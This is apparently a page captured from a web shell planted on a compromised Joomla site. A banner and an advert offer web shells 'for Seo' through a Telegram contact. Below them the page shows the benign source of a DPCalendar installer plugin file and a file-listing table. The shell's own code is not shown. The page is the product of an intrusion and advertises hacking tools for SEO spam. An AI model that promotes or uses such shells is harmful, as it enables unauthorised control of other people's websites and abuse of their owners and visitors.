__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package DPCalendar
* @copyright Copyright (C) 2022 Digital Peak GmbH. <https://www.digital-peak.com>
* @license https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
*/
namespace DigitalPeak\Plugin\Installer\DPCalendar\Extension;
\defined('_JEXEC') or die();
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Uri\Uri;
class DPCalendar extends CMSPlugin
{
public function onInstallerBeforePackageDownload(string &$url): void
{
if (!str_contains($url, '/download/dpcalendar/')) {
return;
}
$params = ComponentHelper::getParams('com_dpcalendar');
if (!$downloadId = $params->get('downloadid')) {
return;
}
$uri = Uri::getInstance($url);
$uri->setVar('dlid', $downloadId);
$url = $uri->toString();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| DPCalendar.php | File | 787 B | 0664 |
|